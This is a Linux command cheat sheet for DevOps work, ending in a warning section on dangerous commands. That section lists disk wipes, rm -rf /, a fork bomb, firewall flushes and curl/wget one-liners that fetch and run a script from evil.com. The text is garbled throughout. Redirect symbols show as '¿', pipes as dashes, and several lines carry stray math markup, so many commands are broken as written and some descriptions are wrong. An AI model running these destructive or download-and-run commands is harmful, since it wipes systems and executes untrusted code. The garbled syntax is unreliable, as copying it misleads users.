Linux Command Cheat Sheet — DevOps & Cloud Edition 2025

📂 NAVIGATION

pwd • cd • cd - • cd ..
ls -la • ls -R • tree -L 2
pushd/popd • find . -name "*.log"
locate filename • updatedb
realpath file • dirs

📄 FILES & ARCHIVES

touch f • mkdir -p dir/sub
cp -r src dst • mv old new
rm -rf dir • ln -s target link
tar -czf a.tar.gz dir • tar -xzf a.tar.gz
zip -r a.zip dir • unzip a.zip
gzip file • gunzip file.gz
7z a archive.7z dir • 7z x archive.7z

🔍 TEXT & GREP

cat • less • more • head -20
tail -f • tail -n 50
grep -i "err" file • grep -r "TODO" .
grep -v "exclude" • grep -E "pattern1—pattern2"
awk '{print $1}' • awk -F: '{print $1}' /etc/passwd
sed -i 's/old/new/g' file • sed '/pattern/d'
sort • sort -nr • uniq -c • uniq -d
wc -l • wc -w • wc -m

xargs • tee • ¿ out • ¿¿ append

🔑 PERMISSIONS

chmod 755 file • chmod +x script
chmod -R 775 dir • chmod u=rwx,g=rx,o= file
chown user:group file • chown -R user:group dir
chgrp group file • umask 022
sudo !! • sudo -i • visudo
sudo -u user command • sudo -l

👥 USERS & GROUPS

whoami • id • who • w
useradd -m dev • useradd -s /bin/bash dev
passwd dev • passwd -l dev • passwd -u dev
usermod -aG docker dev • usermod -s /bin/sh dev
userdel -r dev • groupadd devs
groupdel devs • groups username
getent group • getent passwd

⚙️ PROCESSES

ps aux • ps -ef • ps -u username
top • htop • atop
kill PID • kill -9 PID • kill -TERM PID
killall nginx • pkill -f python
pgrep ssh • pidof nginx
jobs • fg %1 • bg %1

nohup cmd & • disown
Ctrl+Z • Ctrl+C • Ctrl+D

⚙ SYSTEMD

systemctl start nginx
systemctl stop nginx
systemctl restart nginx
systemctl status nginx
systemctl enable nginx
systemctl disable nginx
systemctl reload nginx
systemctl –failed
journalctl -u nginx -f
journalctl -xe • journalctl –since "1 hour ago"
systemctl list-units • systemctl list-timers

💾 DISK & MEMORY

df -h • df -i • du -sh *
du -sh dir/ • du -h –max-depth=1
free -h • free -m
lscpu • lsblk • lsblk -f
fdisk -l • blkid
mount /dev/sdb1 /mnt
umount /mnt • umount -l /mnt (lazy)
mount -a • /etc/fstab

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🖧 NETWORK

ip a • ip addr show
ip route • ip route show
ss -tuln • ss -tulp
netstat -tulpn • netstat -rn
curl -I url • curl -v url
curl -O fileurl • curl -L redirecturl
wget file • wget -c resume
ping -c 4 8.8.8.8
ping6 ipv6 • traceroute google.com
dig google.com • dig +short google.com
host google.com • nslookup google.com
nc -zv host 443 • nc -l 8080 (listen)
nmap -sV localhost • nmap -p 22,80,443 host
iptables -L • ufw status

📦 APT (Debian/Ubuntu)

apt update && apt upgrade
apt search pkg • apt show pkg
apt install pkg • apt install pkg=version
apt remove pkg • apt purge pkg
apt autoremove • apt clean
apt list –installed
dpkg -i pkg.deb • dpkg -l — grep pkg
apt-cache policy pkg

📦 DNF/YUM (RHEL/CentOS/Fedora)

dnf update • yum update
dnf search pkg • yum search pkg
dnf install pkg • yum install pkg
dnf remove pkg • yum remove pkg
dnf history • dnf repoquery
rpm -ivh pkg.rpm • rpm -qa — grep pkg
rpm -ql pkg • rpm -qf /path/file

📦 PACMAN (Arch)

pacman -Syu • pacman -S pkg
pacman -Rs pkg • pacman -Qs pkg

✍ VIM QUICK

i → insert • Esc → normal mode
:w → save • :wq → save+quit
:q! → quit no save • ZZ → save+quit
dd → delete line • yy → copy line
p → paste • u → undo • Ctrl+R → redo
/search → find • n/N → next/prev
::set number • :set paste
Ctrl+v → visual block • v → visual
:sp file → split • :vsp file → vertical split

🔒 SSH & KEYS

ssh user@ip • ssh -p 2222 user@ip
ssh-copy-id user@ip
ssh -i key.pem user@ec2
ssh -L 8080:localhost:80 user@jump (port forward)
ssh -D 1080 user@host (SOCKS proxy)
ssh -v user@host (verbose)
scp file user@host:/tmp/
scp -r dir/ user@host:/path/
rsync -avz src/ user@host:/dest/
rsync -avz –delete src/ dest/
ssh-keygen -t rsa -b 4096
ssh-keygen -f /.ssh/id$_r$sa $- p(changepass)$

📈 MONITORING

uptime • who -b (last boot)
vmstat 1 • vmstat 1 5
iostat -x 1 • iostat -c 1 (CPU)
mpstat -P ALL 1 • pidstat 1
sar -u 1 5 • sar -r 1 5 (memory)
dstat -tcmnd 1
watch -n 1 "df -h"
watch -n 1 "free -m"
glances • htop • nmon
lsof -i :80 • lsof -u username

🐳 DOCKER

docker ps -a • docker images
docker run -it ubuntu bash
docker exec -it container bash
docker logs container • docker logs -f
docker build -t tag .
docker-compose up -d
docker-compose logs -f

☸ KUBERNETES

kubectl get pods • kubectl get pods -A
kubectl describe pod name
kubectl logs pod • kubectl logs -f
kubectl apply -f file.yaml
kubectl delete pod name
kubectl exec -it pod – bash
kubectl get nodes • kubectl get svc

🌱 PRO TIPS

!! → last command
$!ß last arg of prev command$
$!ssh ß last ssh command$
$Ctrl + R ß reverse history search$
$Ctrl + L ß clear screen$
$Ctrl + A/E ß line start/end$
$Ctrl + U/K ß delete to start/end$
$Ctrl + W ß delete word$
$alias ll =' ls - la'$
$alias gs =' git status'$
$alias.. =' cd..'$
$export HISTSIZE = 10000$
$export HISTFILESIZE = 20000$
$screen \quad tmux$
$script output.log (record session)$
$time command (measure runtime)$
$man - k keyword (search man pages)$

⚠ EXTREME CAUTION REQUIRED ⚠

💣 FILESYSTEM DESTRUCTION

rm -rf / — Deletes EVERYTHING
rm -rf . — Deletes current directory
rm -rf * — Deletes all files in directory
:() :—:& ;: — Fork bomb (CPU killer)
mv / /dev/null — Moves root to null
dd if=/dev/zero of=/dev/sda — Wipes entire disk
mkfs.ext4 /dev/sda — Formats main disk
¿ file — Truncates file (use ¿¿ to append)
chmod -R 777 / — Makes everything executable
chown -R nobody:nogroup / — Breaks ownership

☰ SYSTEM CRASHERS

echo 1 ¿ /proc/sys/kernel/sysrq — Enables magic SysRq
echo b ¿ /proc/sysrq-trigger — Immediate reboot
echo o ¿ /proc/sysrq-trigger — Shutdown
echo c ¿ /proc/sysrq-trigger — Crash dump
sync; echo 3 ¿ /proc/sys/vm/drop_caches — Clears cache
fdisk /dev/sda — Partition table editor (careful!)
parted /dev/sda — Advanced partition tool
halt -f — Force halt without shutdown

⛗ NETWORK DANGERS

iptables -F — Flushes ALL firewall rules
iptables -P INPUT DROP — Drops all incoming
iptables -P OUTPUT DROP — Drops all outgoing

systemctl stop networking — Kills network
ip link set eth0 down — Disables network interface
route del default — Removes default gateway

🗄 DATA LOSS

tar -czf archive.tar.gz /home — Wrong order!
dd if=/dev/random of=/dev/sda — Random wipe
shred -f -u -z -n 10 file — Secure delete
find / -type f -exec rm — Deletes all files
find / -name "*.log" -delete — Deletes all logs

👤 USER/PERMISSION DISASTERS

userdel -r root — Deletes root user
chmod 000 /bin/bash — Makes bash unusable
chmod -R 000 /etc — Breaks system config
passwd -l root — Locks root account
rm -rf /etc — Deletes system configuration
rm -rf /boot — Deletes boot files

</> MALICIOUS ONE-LINERS

curl http://evil.com/script.sh — bash — Pipe to bash
wget -O- http://evil.com/script.sh — sh — Download and run
rm -rf /.* — Deletes all hidden files
cat /dev/zero ¿ /dev/mem — Fills memory
yes ¿ /dev/null — Infinite loop

SAFETY PRECAUTIONS

→ **ALWAYS backup before major operations**

→ **Use -n or –dry-run flags when available**

→ **Double-check paths (especially /, /dev/sda, etc.)**

→ **Run destructive commands with "sleep 10" first**

→ **Use tab completion to avoid typos**

→ **Never pipe curl/wget directly to bash**

→ **Test commands in VM/sandbox first**

→ **Keep system snapshots/backups**

❝ *"With great power comes great responsibility."*
"Measure twice, cut once."
"rm -rf is the only command that works every time." ❞

— Every Linux/DevOps engineer, eventually

💡 *When in doubt, use:* **man command** *or* **command –help**